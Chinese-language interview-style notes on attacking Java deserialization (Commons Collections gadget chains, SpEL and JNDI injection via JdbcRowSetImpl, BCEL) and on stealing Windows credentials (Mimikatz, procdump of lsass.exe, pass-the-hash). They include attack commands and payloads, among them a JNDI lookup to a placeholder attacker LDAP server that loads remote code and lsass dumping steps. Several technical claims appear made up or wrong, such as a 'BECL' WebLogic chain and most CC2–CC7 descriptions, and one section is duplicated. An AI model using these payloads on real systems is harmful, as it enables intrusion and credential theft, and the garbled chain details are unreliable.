触发端口 通常是 WebLogic 的 IIOP 端口(如 7002) WebLogic 的 T3 端口(如 7001)
漏洞本质 Java 反序列化 Java 反序列化
利用方式 构造恶意的 IIOP 请求,包含序列化 Payload 构造恶意的 T3 消息,包含序列化 Payload
影响范围 所有使用 IIOP 的应用服务器 主要是 Oracle WebLogic Server

Java invoke 反射具体利用

1. invoke 反射的基础

java.lang.reflect.Method 类的 invoke() 方法是反射的核心。它的签名如下:

1
2
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException, InvocationTargetException
  • obj:要调用方法的对象实例。如果是静态方法,obj 可以为 null
  • args:调用方法时传入的参数

利用方式:通过 invoke,你可以在不知道类名、方法名和参数类型的情况下,动态地调用任何方法。这正是它成为漏洞利用利器的原因

2. invoke 反射在反序列化中的利用

在 Java 反序列化漏洞中,invoke 反射通常用于构建 Gadget Chain,实现远程代码执行(RCE)

场景Apache Commons Collections 反序列化漏洞

  • 核心 GadgetInvokerTransformer。它的 transform() 方法正是利用了 invoke 反射
  • 攻击链
    1. 攻击者构造一个 ChainedTransformer,并将其与一系列 Transformer 组合
    2. 其中,最关键的 Transformer 就是 InvokerTransformer。攻击者会多次使用它来构建命令执行链
    3. 第一次 invoke
      • Transformer 实例:new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})
      • 攻击者传入 java.lang.Runtime 类作为 objinvoke 方法会调用 java.lang.Runtime.class.getMethod("getRuntime")
      • 这会返回一个 Method 对象,指向 getRuntime() 方法
    4. 第二次 invoke
      • Transformer 实例:new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
      • 攻击者传入上一步返回的 Method 对象作为 objinvoke 方法会调用 getRuntime().invoke(null, null)
      • 这会返回一个 Runtime 实例
    5. 第三次 invoke
      • Transformer 实例:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"whoami"})
      • 攻击者传入上一步返回的 Runtime 实例作为 objinvoke 方法会调用 runtime.exec("whoami")
  • 最终结果:通过三次 invoke 反射的串联,实现了从获取 Runtime 实例到执行系统命令的完整攻击过程

3. invoke 反射在表达式注入中的利用

在表达式语言(如 SpEL、OGNL)注入漏洞中,invoke 反射是实现 RCE 的主要手段

场景:Spring SpEL 注入

  • 攻击 PayloadT(java.lang.Runtime).getRuntime().exec("whoami")
  • 攻击链:当 Spring 解析这个表达式时,它会执行以下步骤:
    1. T():表达式引擎通过反射找到并获取 java.lang.Runtime 类对象
    2. getRuntime():表达式引擎调用 java.lang.Runtime 类的静态方法 getRuntime()。这个过程在底层也是通过 invoke 反射实现的,传入 null 作为对象实例
    3. exec():表达式引擎调用上一步返回的 Runtime 实例的 exec("whoami") 方法
  • 最终结果:成功执行系统命令

讲一下 CC1-7 的原理

CC1: InvokerTransformer

  • 原理:这是最经典、最著名的利用链。它利用了 InvokerTransformer 这个类,它的 transform 方法可以通过反射调用任何对象的任何方法
  • 攻击链
    1. LazyMap:它是一个惰性加载的 Map,当访问一个不存在的键时,会调用一个 Transformer 来生成值
    2. InvokerTransformer:攻击者将 InvokerTransformer 封装到 LazyMap 中,并指定其调用 Runtime.getRuntime().exec() 方法
    3. AnnotationInvocationHandler:当 LazyMap 被反序列化时,AnnotationInvocationHandler 会调用它的 invoke 方法,从而触发 LazyMapget 方法
    4. Runtime.exec():最终,LazyMapget 方法会调用 InvokerTransformer,通过反射执行 Runtime.exec(),从而执行任意命令
  • 绕过:由于 InvokerTransformer 过于危险,它很快被许多安全框架和应用服务器加入了反序列化黑名单

CC2-CC7:黑名单绕过与新 Gadget Chain 的发现

在 CC1 被加入黑名单后,研究人员开始寻找新的、没有被列入黑名单的 Gadget Chain。这些新的利用链都遵循同样的原理,只是利用了不同的类来构建多米诺骨牌

  • CC2 (j_object):利用 Spring 框架中的 Javassist 类库。它通过 ClassPathXmlApplicationContext 加载一个远程 XML 文件,从而执行远程代码
  • CC3 (j_object):利用 AbstractMaphashCode 方法,通过 equals 方法来触发 InvokerTransformer
  • CC4 (j_object):利用 SpringBadAttributeValueExpException 类。当这个类被反序列化时,它的 toString 方法会被调用,从而触发 InvokerTransformer
  • CC5 (j_object):这个利用链与 CC1 类似,但它通过 TiedMapEntry 来触发 LazyMap,从而绕过了一些针对 AnnotationInvocationHandler 的防御
  • CC6 (j_object):这个利用链也使用了 TiedMapEntry,但它通过 TiedMapEntrytoString 方法来触发 LazyMap
  • CC7 (j_object):这个利用链使用 HashedMapreadObject 方法来触发 AbstractMapput 方法,最终触发 InvokerTransformer

BECL 利用链使用条件及原理

1. BECL 利用链核心原理

BECL 利用链的核心原理可以概括为:利用一个看似无害的内部类,间接调用受限的命令执行函数

它主要利用了 com.bea.core.event.JmsEvent 类及其相关类的反序列化过程。当一个 JmsEvent 对象被反序列化时,它会触发一系列的事件监听器,其中一个监听器会调用 execute() 方法来执行一个命令

BECL 的攻击链通常如下:

  1. 构造恶意对象: 攻击者首先构造一个恶意的 Java 对象,该对象包含一个指向目标命令执行函数的引用。这个对象通常会利用 Java 的反射机制,指向 java.lang.Runtime 类的 exec() 方法
  2. 触发点:com.bea.core.events.JmsEvent: 攻击者将上述恶意对象封装在一个 JmsEvent 对象中。当这个 JmsEvent 对象被反序列化时,它会触发 readObject() 方法
  3. 事件监听:com.bea.core.events.SerializableEventListenerJmsEvent 的反序列化会调用 com.bea.core.events.SerializableEventListenerhandleEvent() 方法
  4. 命令执行:java.lang.Runtime.exec()SerializableEventListenerhandleEvent() 方法会进一步调用攻击者预设的恶意对象,最终导致 java.lang.Runtime.exec() 方法被执行,从而在服务器上执行任意系统命令

简单来说,BECL 利用链就像一个接力赛:

  • 第一棒(攻击者): 构造恶意序列化数据
  • 第二棒(JmsEvent): 接收并开始反序列化
  • 第三棒(SerializableEventListener): 自动被触发,并调用下一步
  • 第四棒(反射调用): 恶意代码被执行,如 Runtime.exec("your_command")

这个过程巧妙地绕过了黑名单,因为被直接反序列化的 JmsEvent 类本身是 WebLogic 内部的合法组件,并不在黑名单上

3. BECL 利用链的使用条件

要成功利用 BECL 攻击链,必须满足以下几个关键条件:

  1. 存在反序列化漏洞: 这是所有反序列化漏洞利用的前提。目标服务器必须存在一个可被攻击者控制的、未经验证的反序列化入口点。例如,t3IIOP 等协议都是常见的反序列化入口点
  2. 目标为 WebLogic Server: BECL 利用链的 Gadget Chain 是WebLogic 独有的。因为它依赖于 com.bea.core.event 这个特定于 WebLogic 的类库。因此,这个利用链不适用于 JBoss、Tomcat 或其他应用服务器
  3. 未修补的 WebLogic 版本: 漏洞利用链通常依赖于特定版本的软件。BECL 链主要影响较早版本的 WebLogic Server,特别是那些已经部署了黑名单,但仍未修复此漏洞的版本
  4. 可被利用的 JRE 类库: 尽管 BECL 的核心 Gadget 在 WebLogic 中,但它通常还需要依赖 Java 环境中的其他类,比如 java.lang.reflect 等,来完成反射调用

BCEL 可以用其他类加载器吗

BCEL 与类加载器的关系

Java 类加载器(ClassLoader)负责在运行时将 .class 文件加载到 JVM 中。当一个类加载器加载字节码时,它会调用 defineClass() 方法,这个方法接受原始的字节码数据(一个字节数组),并将其转换为一个可用的 Class 对象

BCEL 正是在这个过程中发挥作用的。

  • 步骤 1:恶意字节码生成:攻击者使用 BCEL 或其他字节码操作库,编写一段恶意的 Java 代码,例如一个可以执行系统命令的 Shellcode。然后,将这段 Java 代码编译成原始的字节码数组
  • 步骤 2:编码和传输:为了绕过一些安全过滤,攻击者会使用 BCEL 提供的编码功能,将这个字节码数组编码成一个字符串。这种编码格式以 $**BCEL$$ 开头,比如 $**BCEL$$ + Base64 编码的字节码
  • 步骤 3:利用类加载器:攻击者找到一个存在漏洞的应用程序,该程序在处理用户输入时,会使用一个可以加载并执行字节码的类加载器。攻击者将前面编码好的 BCEL 字符串作为输入发送给应用程序
  • 步骤 4:解码和加载:应用程序在处理这个字符串时,会调用 sun.misc.BASE64Decoder(或其他解码器)来解码这个字符串,将其还原成原始的字节码数组。然后,应用程序会使用一个类加载器,调用其 defineClass() 方法,将这个字节码加载到内存中
  • 步骤 5:反射执行:一旦恶意字节码被加载成 Class 对象,攻击者就可以通过反射,调用其 newInstance() 方法来创建实例,并执行其中的恶意代码,从而实现远程代码执行

为什么需要其他类加载器?

BCEL 漏洞利用链之所以成立,正是因为它间接利用了应用程序自身的类加载器。攻击者不需要自己上传一个类加载器,而是利用应用程序中已有的、可以加载字节码的类

例如,在一些特定的 Java 框架和库中,存在一些可以加载并执行字节码的类,比如:

  • com.sun.org.apache.bcel.internal.util.ClassLoader:这是 Java 内部自带的一个类加载器,它能够直接从 BCEL 编码的字符串中加载类
  • 自定义的类加载器:一些应用程序为了实现动态加载功能,可能会编写自己的类加载器。如果这些加载器没有做安全校验,同样可以被利用

了解 JEP290 的原理吗

JEP290 的核心原理:反序列化白名单和黑名单

JEP290 没有从根本上重写 Java 的反序列化机制,而是在现有机制之上,增加了一个过滤层(Filter)。这个过滤层在反序列化数据之前,会先对即将被实例化的类进行检查

JEP290 的核心思想可以概括为:在反序列化过程中,根据一个可配置的白名单或黑名单,来决定哪些类可以被实例化

它主要通过以下两种方式实现:

  1. 全局配置:在 JVM 启动时,可以通过设置系统属性来配置一个全局的过滤规则
    • jdk.serialFilter:这是最主要的系统属性。它的值是一个字符串,定义了允许或拒绝反序列化的类
    • 语法:这个字符串支持简单的通配符和规则,例如:
      • java.util.Collections.*:允许反序列化 java.util.Collections 包下的所有类
      • !org.apache.commons.collections.functors.InvokerTransformer禁止反序列化 InvokerTransformer 这个类
      • *:默认值,表示允许所有类
      • ;:用于分隔多个规则
  2. 编程控制:开发者可以在自己的代码中,通过 ObjectInputStream 类提供的 setObjectInputFilter() 方法,在运行时为特定的反序列化流设置一个临时的过滤器。这使得开发者可以根据自己的业务需求,对反序列化进行更精细的控制

讲下 RMI 原理以及相关的漏洞

1. RMI 原理

RMI(Remote Method Invocation),是 Java 远程方法调用的缩写。简单来说,它是一种 Java 编程技术,允许你在一个 Java 虚拟机(JVM)上运行的代码,调用另一个不同 JVM 上的对象的方法。这使得分布式应用开发变得相对简单,因为你可以像调用本地对象一样调用远程对象的方法

RMI 的核心思想是存根(Stub)和骨架(Skeleton)

  • 客户端(Client)
    • 存根(Stub):这是一个本地代理对象,它实现了远程对象的接口。客户端调用远程方法时,实际上是在调用存根上的本地方法。存根负责将方法调用信息(方法名、参数等)打包,并发送给远程服务器
  • 服务器端(Server)
    • 远程对象(Remote Object):这是真正提供服务、执行方法的对象
    • 骨架(Skeleton):一个中间层对象,它监听客户端的请求。当收到存根发来的请求时,骨架负责解析请求,找到相应的远程对象,调用其方法,并将结果打包返回给客户端

RMI 工作流程

  1. 注册:服务器端创建一个远程对象,并通过一个**注册中心(RMI Registry)**将其注册。注册中心会绑定远程对象和服务名,例如 rmi://server:port/serviceName
  2. 查找:客户端通过服务名向注册中心查找远程对象。注册中心会返回一个存根对象给客户端
  3. 调用:客户端调用存根上的方法
  4. 传输:存根将方法调用信息序列化并通过网络发送给服务器端的骨架
  5. 执行:骨架反序列化信息,调用远程对象上的实际方法,并将结果序列化后返回
  6. 返回:客户端的存根接收到结果并反序列化,然后返回给客户端

2. RMI 相关漏洞

RMI 的安全问题主要源于其依赖 Java 对象的序列化和反序列化机制。这种机制本身就是高风险的,因为它默认信任所有传入的对象。攻击者可以利用这一特性,构造恶意的序列化对象,在反序列化时触发攻击

漏洞一:RMI 序列化漏洞(反序列化漏洞)

这是 RMI 最常见也是最危险的漏洞类型。

  • 原理:在 RMI 的调用过程中,客户端和服务端会相互发送序列化的对象。攻击者可以利用这个机制,构造一个包含恶意 Payload 的序列化对象。当服务器在反序列化这个对象时,如果其所依赖的库中存在可被利用的 Gadget Chain(例如 Apache Commons Collections),就会导致远程代码执行(RCE)
  • 攻击利用:攻击者首先需要确定 RMI 服务器的地址和端口。然后,他们会使用工具(例如 ysoserial)来生成一个恶意的序列化 Payload。最后,通过向 RMI 接口发送这个 Payload,即可触发反序列化攻击
  • 影响:这是一种高危 RCE 漏洞,可以使攻击者在未授权的情况下完全控制服务器

漏洞二:RMI 弱口令漏洞

  • 原理:如果 RMI Registry 的管理接口存在弱口令,攻击者就可以登录并执行恶意操作
  • 攻击利用:攻击者可以尝试对 RMI Registry 的管理接口进行暴力破解或字典攻击。一旦获得权限,就可以修改、删除或注册恶意服务

漏洞三:RMI Registry 绑定漏洞

  • 原理:某些情况下,RMI Registry 允许任何客户端绑定新的远程对象。如果应用程序没有对这个功能进行严格的权限控制,攻击者就可以注册一个恶意的远程对象
  • 攻击利用:攻击者可以注册一个带有恶意方法的远程对象。然后,他们可以诱导受害者或通过其他方式调用这个恶意方法,从而实现攻击

漏洞四:RMI SSL/TLS 证书验证漏洞

  • 原理:RMI 可以配置为使用 SSL/TLS 进行安全通信。但如果客户端没有正确验证服务器的 SSL 证书,攻击者就可以进行中间人攻击(MitM),从而窃取敏感信息或篡改通信内容

JdbcRowSetImpl 如何触发的 JNDI 注入

1. 核心原理:setDataSourceName() 与 JNDI

com.sun.rowset.JdbcRowSetImpl 是一个 JDK 自带的类,它实现了 RowSet 接口。JdbcRowSetImpl 的一个核心功能就是通过 DataSource 来连接数据库

  • DataSourceDataSource 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定
  • setDataSourceName():当调用 JdbcRowSetImplsetDataSourceName() 方法时,它会设置一个 JNDI 查找名称
  • connect():当 JdbcRowSetImpl 尝试建立连接时,会调用 connect() 方法,这个方法会使用 InitialContext 类,对 setDataSourceName() 设置的名称进行 JNDI 查找

问题的关键在于:当 InitialContext 查找的 URL 指向一个远程的 RMI/LDAP 服务器时,它会自动下载并加载服务器上绑定的 Java 对象

2. 漏洞触发的完整过程

攻击者就是利用这一点,将恶意服务器的地址作为 DataSourceName,让目标服务器在反序列化时,主动去下载和执行恶意代码

  1. 攻击者搭建恶意服务

    • 攻击者首先需要搭建一个恶意的 LDAP 或 RMI 服务器
    • 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个**Exploit.java**文件,它包含了一个 static 静态代码块,可以在被加载时自动执行,例如执行 Runtime.exec() 命令
  2. 构造恶意 Payload

    • 攻击者构造一个恶意的序列化 JdbcRowSetImpl 对象
    • 在这个对象中,攻击者会利用反射等方法,将 DataSourceName 属性设置为恶意服务的地址
    • 例如:new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")
    • 注意:这里的 ldap:// 是 JNDI 查找的协议,<攻击机IP> 是攻击者服务器的地址,Exploit 是攻击者在服务器上绑定的恶意对象名
  3. 发送 Payload

    • 攻击者将这个序列化后的 JdbcRowSetImpl 对象发送给存在反序列化漏洞的目标应用程序
    • 这个过程可以是通过 HTTP 请求、文件上传或其他方式
  4. 目标服务器反序列化

    • 目标应用程序接收到数据后,对 JdbcRowSetImpl 对象进行反序列化
    • 在反序列化过程中,JdbcRowSetImplreadObject() 方法被调用
    • readObject() 方法会触发 connect() 方法的调用
  5. 触发 JNDI 注入

    • connect() 方法会使用 InitialContext 对恶意地址 ldap://<攻击机IP>:<端口>/Exploit 进行 JNDI 查找
    • 由于 java.naming.factory.initial 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果
    • JVM 会连接到攻击者的 LDAP 服务器,下载并加载 Exploit 这个恶意对象
    • Exploit 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令

    CC 链四个 Transformer 区别

1. InvokerTransformer

InvokerTransformer 是最核心、最通用、也最经典的 Transformer

  • 原理:它通过 Java 反射来调用一个对象的方法。在它的 transform() 方法中,你可以指定一个类名方法名方法参数InvokerTransformer 会反射调用你指定的方法,并返回结果
  • 如何触发命令执行
    1. 指定类为 java.lang.Runtime
    2. 指定方法为 getMethod("getRuntime")
    3. 指定参数为空
    4. 这会返回 Runtime 的实例
    5. 然后,再用另一个 InvokerTransformer 来调用 exec() 方法执行命令
  • 用途:它是 CommonsCollections1 利用链的核心组件。由于其功能过于强大和通用,它也是第一个被安全防御工具(如黑名单)重点关注和拦截的类。

2. InstantiateTransformer

InstantiateTransformer 的功能是实例化一个新对象

  • 原理:它的 transform() 方法会根据你指定的类名,通过反射来调用其构造函数,从而创建一个新的对象实例
  • 如何触发命令执行
    1. 指定类为 java.lang.Runtime
    2. 指定构造函数为 getConstructor()
    3. 这会创建一个 Runtime 的实例
    4. 然后,再用 InvokerTransformer 来调用 exec() 方法
  • 用途:它通常用于在没有 Runtime 实例的情况下,创建一个新的 Runtime 实例。它在某些特定的 Gadget Chain 中用于绕过对 InvokerTransformer 的直接调用

3. ConstantTransformer

ConstantTransformer 是一个非常简单的 Transformer

  • 原理:它的 transform() 方法会直接返回一个你预先设置好的常量,而不进行任何额外的操作
  • 如何触发命令执行:它本身不能直接执行命令。它通常作为 Gadget Chain 中的辅助组件,用来提供一个常量值,比如提供一个 Runtime 实例
    1. 创建 ConstantTransformer,并传入 Runtime.getRuntime() 的实例
    2. transform() 方法被调用时,它会返回这个 Runtime 实例
  • 用途:它常被用于组合其他 Transformer,为攻击链提供必要的对象实例。例如,在 CommonsCollections4 利用链中,它被用来提供 Runtime 实例,然后由 InvokerTransformer 来调用 exec()

4. ChainedTransformer

ChainedTransformer 的功能是将多个 Transformer 串联起来

  • 原理:它的 transform() 方法会按顺序调用一个 Transformer 数组中的每一个 Transformer。第一个 Transformer 的输出会作为第二个 Transformer 的输入,以此类推
  • 如何触发命令执行:攻击者会将一个完整的攻击链(通常是 ConstantTransformerInvokerTransformer 的组合)封装到一个 ChainedTransformer 中。当 ChainedTransformer 被反序列化时,它会按顺序调用这些 Transformer,最终触发命令执行
  • 用途ChainedTransformer 是所有 CommonsCollections 利用链的核心驱动器。它扮演着“执行引擎”的角色,将整个多米诺骨牌串联起来,确保它们能按正确的顺序倒下
Transformer 功能 在攻击链中的作用
InvokerTransformer 反射调用方法 执行命令,是攻击链的核心
InstantiateTransformer 实例化对象 创建实例,通常用于创建 Runtime 实例
ConstantTransformer 返回常量值 提供常量对象,通常用于提供 Runtime 实例
ChainedTransformer 串联多个Transformer 驱动整个攻击链,按顺序执行每个 Transformer

反序列化除了readObject 还有什么触发点

1. readResolve()writeReplace()

这两个方法主要用于控制对象的序列化和反序列化过程,它们可以用来触发攻击链

  • 原理
    • writeReplace():这个方法在对象被序列化时调用。它允许开发者用另一个对象来替换即将被序列化的对象。攻击者可以利用这个方法,让一个无害的对象在序列化时被替换成一个恶意的对象
    • readResolve():这个方法在对象被反序列化后调用。它允许开发者用另一个对象来替换刚刚反序列化得到的对象。攻击者可以利用这个方法,在反序列化时触发攻击链,例如调用一个可以触发 JNDI 注入的类
  • 攻击链举例
    • 攻击者构造一个恶意的对象,这个对象的 readResolve() 方法被重写,用于返回一个可以触发 JNDI 注入的 JdbcRowSetImpl 对象
    • 当应用程序反序列化这个对象时,readResolve() 方法会被自动调用,从而将攻击链的控制权转移到 JdbcRowSetImpl 上,最终导致 RCE

2. finalize()

finalize() 方法是一个“魔法”方法,它在对象被垃圾回收时调用

  • 原理:在某些情况下,当一个对象被反序列化后,如果它不再被引用,Java 虚拟机(JVM)可能会将其放入垃圾回收队列。在垃圾回收前,JVM 会调用对象的 finalize() 方法
  • 攻击链举例
    • 攻击者构造一个恶意的对象,这个对象的 finalize() 方法被重写,用于执行系统命令
    • 当应用程序反序列化并丢弃这个对象时,如果垃圾回收被触发,finalize() 方法就会被调用,从而执行恶意代码
  • 局限性:这种方法不常见,因为它不可预测。你无法控制垃圾回收何时发生,甚至无法保证它一定会发生。因此,它不是一个可靠的漏洞利用方式,但其原理是成立的

3. toString()

在某些情况下,某些类在反序列化时会调用其内部对象的 toString() 方法

  • 原理:当一个对象被反序列化时,如果它被放入到一个需要调用 toString() 的上下文中(例如,在日志记录中),那么 toString() 方法就会被自动调用
  • 攻击链举例
    • 攻击者找到一个类,它的 toString() 方法可以间接触发命令执行
    • 攻击者构造一个恶意的序列化对象,这个对象包含上面找到的类
    • 当应用程序反序列化这个对象,并将其放入一个需要调用 toString() 的上下文中时,就会触发攻击链
    • 典型的例子是 BadAttributeValueExpException 这个类,它的 readObject() 方法会调用内部对象的 toString(),从而可以触发 InvokerTransformer 的攻击链

4. hashCode()equals()

这两个方法通常用于哈希表(HashMapHashSet)等集合类中

  • 原理:当一个哈希表被反序列化时,它需要重新构建内部的数据结构。在这个过程中,它会调用其存储的对象的 hashCode()equals() 方法
  • 攻击链举例
    • 攻击者构造一个恶意的哈希表,并向其中放入一个可以被利用的对象
    • 当这个哈希表被反序列化时,它的 hashCode() 方法会被调用
    • 攻击者可以利用一些特殊的类(例如 HashSet),让其在 hashCode() 方法中调用其他恶意对象的 transform() 方法,从而触发攻击链

16- 权限提升

反序列化除了readObject 还有什么触发点

1. readResolve()writeReplace()

这两个方法主要用于控制对象的序列化和反序列化过程,它们可以用来触发攻击链

  • 原理
    • writeReplace():这个方法在对象被序列化时调用。它允许开发者用另一个对象来替换即将被序列化的对象。攻击者可以利用这个方法,让一个无害的对象在序列化时被替换成一个恶意的对象
    • readResolve():这个方法在对象被反序列化后调用。它允许开发者用另一个对象来替换刚刚反序列化得到的对象。攻击者可以利用这个方法,在反序列化时触发攻击链,例如调用一个可以触发 JNDI 注入的类
  • 攻击链举例
    • 攻击者构造一个恶意的对象,这个对象的 readResolve() 方法被重写,用于返回一个可以触发 JNDI 注入的 JdbcRowSetImpl 对象
    • 当应用程序反序列化这个对象时,readResolve() 方法会被自动调用,从而将攻击链的控制权转移到 JdbcRowSetImpl 上,最终导致 RCE

2. finalize()

finalize() 方法是一个“魔法”方法,它在对象被垃圾回收时调用

  • 原理:在某些情况下,当一个对象被反序列化后,如果它不再被引用,Java 虚拟机(JVM)可能会将其放入垃圾回收队列。在垃圾回收前,JVM 会调用对象的 finalize() 方法
  • 攻击链举例
    • 攻击者构造一个恶意的对象,这个对象的 finalize() 方法被重写,用于执行系统命令
    • 当应用程序反序列化并丢弃这个对象时,如果垃圾回收被触发,finalize() 方法就会被调用,从而执行恶意代码
  • 局限性:这种方法不常见,因为它不可预测。你无法控制垃圾回收何时发生,甚至无法保证它一定会发生。因此,它不是一个可靠的漏洞利用方式,但其原理是成立的

3. toString()

在某些情况下,某些类在反序列化时会调用其内部对象的 toString() 方法

  • 原理:当一个对象被反序列化时,如果它被放入到一个需要调用 toString() 的上下文中(例如,在日志记录中),那么 toString() 方法就会被自动调用
  • 攻击链举例
    • 攻击者找到一个类,它的 toString() 方法可以间接触发命令执行
    • 攻击者构造一个恶意的序列化对象,这个对象包含上面找到的类
    • 当应用程序反序列化这个对象,并将其放入一个需要调用 toString() 的上下文中时,就会触发攻击链
    • 典型的例子是 BadAttributeValueExpException 这个类,它的 readObject() 方法会调用内部对象的 toString(),从而可以触发 InvokerTransformer 的攻击链

4. hashCode()equals()

这两个方法通常用于哈希表(HashMapHashSet)等集合类中

  • 原理:当一个哈希表被反序列化时,它需要重新构建内部的数据结构。在这个过程中,它会调用其存储的对象的 hashCode()equals() 方法

  • 攻击链举例

    • 攻击者构造一个恶意的哈希表,并向其中放入一个可以被利用的对象
    • 当这个哈希表被反序列化时,它的 hashCode() 方法会被调用
    • 攻击者可以利用一些特殊的类(例如 HashSet),让其在 hashCode() 方法中调用其他恶意对象的 transform() 方法,从而触发攻击链

    内网抓取密码的话怎么抓

1. 利用内存中的明文密码

这是最直接、最有效的方法之一,尤其是在 Windows 主机上。许多服务和系统进程(如 lsass.exe)为了方便快速验证,会在内存中缓存用户的凭据信息,包括明文密码、哈希值等

常用工具和技术:

  • Mimikatz: 这是 Windows 环境下抓取密码的瑞士军刀。它可以从 lsass.exe 进程中提取各种凭据,包括:
    • 明文密码(cleartext password):如果用户以明文方式登录或者系统配置允许,Mimikatz 可以直接抓取到明文密码
    • 哈希值(NTLM hash):即使没有明文密码,Mimikatz 也能抓取到用户的哈希值。这些哈希值可以用于哈希传递(Pass-the-Hash)攻击,在不知道明文密码的情况下登录其他机器
    • Kerberos 票据(ticket):可以用于哈希传递票据(Pass-the-Ticket)攻击
  • PowerSploit/Mimikatz 的 PowerShell 版本: 在目标主机上执行 Mimikatz 时,如果担心被杀毒软件拦截,可以使用 PowerShell 版本。它不需要将 Mimikatz 可执行文件写入磁盘,而是直接在内存中执行

注意事项:

  • 执行 Mimikatz 通常需要 管理员权限SYSTEM 权限
  • 现在很多杀毒软件都会对 Mimikatz 采取强力防御,所以可能需要绕过(bypass)杀软

2. 利用服务和应用程序的配置文件

许多服务(如数据库、Web 应用、FTP 服务器等)为了连接到其他主机或数据库,会在配置文件中存储用户名和密码,这些密码有时甚至是明文的

常见的配置文件路径:

  • 数据库连接文件:例如 web.configwp-config.php,或者其他 *.ini*.properties 文件
  • SSH 配置文件:Linux 系统中的 .ssh/config 或者 Windows 中的相关配置文件,有时会存储私钥或者密码
  • FTP 客户端配置文件:例如 FileZilla、Xftp 等客户端软件的配置文件,可能会存储已连接过的服务器凭据
  • 应用程序配置文件:任何自定义的应用程序,其配置文件中都可能存储硬编码的密码

查找方法:

  • 使用 find 命令(Linux)或 dir 命令(Windows)结合 grepfindstr 来搜索包含“password”或“user”等关键词的文件
  • find / -name "*.conf" | xargs grep "password"
  • dir /s /b *.ini | findstr /i password

3. 利用密码喷洒

如果已经拿到了一份内网的用户列表,但不知道对应的密码,可以尝试使用一个或几个弱密码(如 123456passwordP@ssword1)去批量尝试登录所有用户

优点:

  • 可以绕过账户锁定策略。因为每次尝试登录时,都只对一个用户使用一个密码,而不是对一个用户使用多个密码
  • 效率高,特别是在内网中存在大量使用弱密码的用户时

常用工具:

  • Kerbrute: 用于 Kerberos 密码喷洒,速度快且不易被检测
  • Hydra: 一个强大的在线密码破解工具,可以对各种服务(SSH, FTP, SMB 等)进行密码喷洒

4. 利用哈希传递攻击

哈希传递攻击是一种非常强大的横向移动技术,它利用了 Windows 系统的一个特性:在进行 SMB 或其他网络认证时,可以直接使用用户的 NTLM 哈希值,而不需要知道明文密码

基本流程:

  1. 在 A 主机上通过 Mimikatz 抓取到用户的哈希值
  2. 利用这个哈希值,通过 PsExecWMISMBExec 等工具,在不输入密码的情况下登录 B 主机

常用工具:

  • Mimikatz: 除了抓取哈希,Mimikatz 也能直接进行 PtH 攻击
  • Metasploit 的 psexec_hash 模块
  • CrackMapExec:一个非常实用的渗透测试工具,可以批量对内网机器进行哈希传递攻击

内网有杀软又怎么抓

1. 使用 Procdump 转储 lsass.exe 进程

Procdump 是微软 Sysinternals 工具集中的一个合法程序,它的主要功能是创建进程的内存转储文件(Memory Dump)。这个工具通常被系统管理员用来诊断程序崩溃

由于 Procdump 是一个合法的、微软签名的工具,很多杀毒软件默认将其视为可信程序,或者至少不会像对待 Mimikatz 那样立即拦截它对 lsass.exe 的访问

  • 命令: procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  • 解释:
    • -accepteula:接受许可协议,避免交互式提示
    • -ma:指定转储整个内存
    • lsass.exe:目标进程
    • lsass.dmp:输出的转储文件名

执行这个命令后,它会创建一个包含 lsass.exe 进程内存数据的 lsass.dmp 文件,并将其保存在磁盘上。这一步的重点在于:没有使用任何恶意工具,只使用了系统管理员常用的合法工具

2. 将转储文件下载到攻击机

这一步需要你将 lsass.dmp 文件从目标服务器下载到你的本地攻击机。你可以使用多种方法,例如:

  • HTTP/HTTPS 文件传输: 在目标机器上通过 powershell 或其他工具,将文件上传到你搭建的 Web 服务器。
  • SMB/SFTP 传输: 如果网络环境允许,通过 SMB 共享或 SFTP 传输文件

这个过程可能会被杀毒软件或网络安全设备检测到,因此需要注意。但即使被检测到,也只是一个数据传输行为,而不是一个恶意代码执行行为

3. 使用 Mimikatz 离线读取转储文件

lsass.dmp 文件下载到你的攻击机后,你就可以在你的本地机器上运行 Mimikatz,并让它去分析这个转储文件,而不是去连接目标机器的 lsass.exe 进程

  • 命令:
    • mimikatz.exe
    • privilege::debug
    • sekurlsa::minidump lsass.dmp
    • sekurlsa::logonpasswords
  • 解释:
    • privilege::debug:获取调试权限,这是 Mimikatz 正常工作所必需的
    • sekurlsa::minidump lsass.dmp:指定 Mimikatz 从 lsass.dmp 文件而不是实时进程中读取数据
    • sekurlsa::logonpasswords:从加载的转储文件中提取登录凭据

操作系统什么版本之后抓不到密码

Windows 8.1 / Windows Server 2012 R2 开始,微软为了应对 Mimikatz 这类工具,引入了 Protected Process Light (PPL) 安全机制

  • PPL 机制: PPL 使得 lsass.exe 进程成为了一个“受保护的进程”,这大大限制了非受信任的进程对其内存的访问。这意味着,像 Mimikatz 这样的工具,即使以管理员权限运行,也无法直接注入或读取 lsass.exe 的内存来获取明文密码或哈希
  • Credential Guard:Windows 10 企业版Windows Server 2016 及以上版本中,微软又引入了 Credential Guard 功能。它使用基于虚拟化的安全技术(VBS)来隔离 lsass.exe,进一步保护凭据。这意味着,即使攻击者获得了内核权限,也很难从 lsass.exe 进程中窃取凭据

抓不到密码怎么绕过

1. 哈希传递

这是在 Windows 环境下,当无法获取明文密码时的首选攻击方式。正如我们之前讨论的,Windows 在网络认证时可以直接使用用户的哈希值

  • 执行方式: 使用 MimikatzPsExec 或者 CrackMapExec 这类工具,它们能够直接利用窃取的哈希值,在不知道明文密码的情况下,以该用户的身份登录到内网中的其他机器
  • 具体思路:
    1. 找到一种方法在目标机器上运行 Mimikatz 或类似工具。即使它无法获取明文密码,它通常也能抓取到用户的 NTLM 哈希
    2. 将抓取到的哈希值复制到你的攻击机上
    3. 使用 PsExec.exe \\目标IP -u 用户名 -h 哈希值 cmd.exe 这样的命令,直接在目标机器上获得一个交互式 Shell

这个方法非常有效,因为即使是最新版本的 Windows,只要没有配置额外的安全措施(比如 Credential Guard),哈希传递攻击依然可行

2. 票据传递

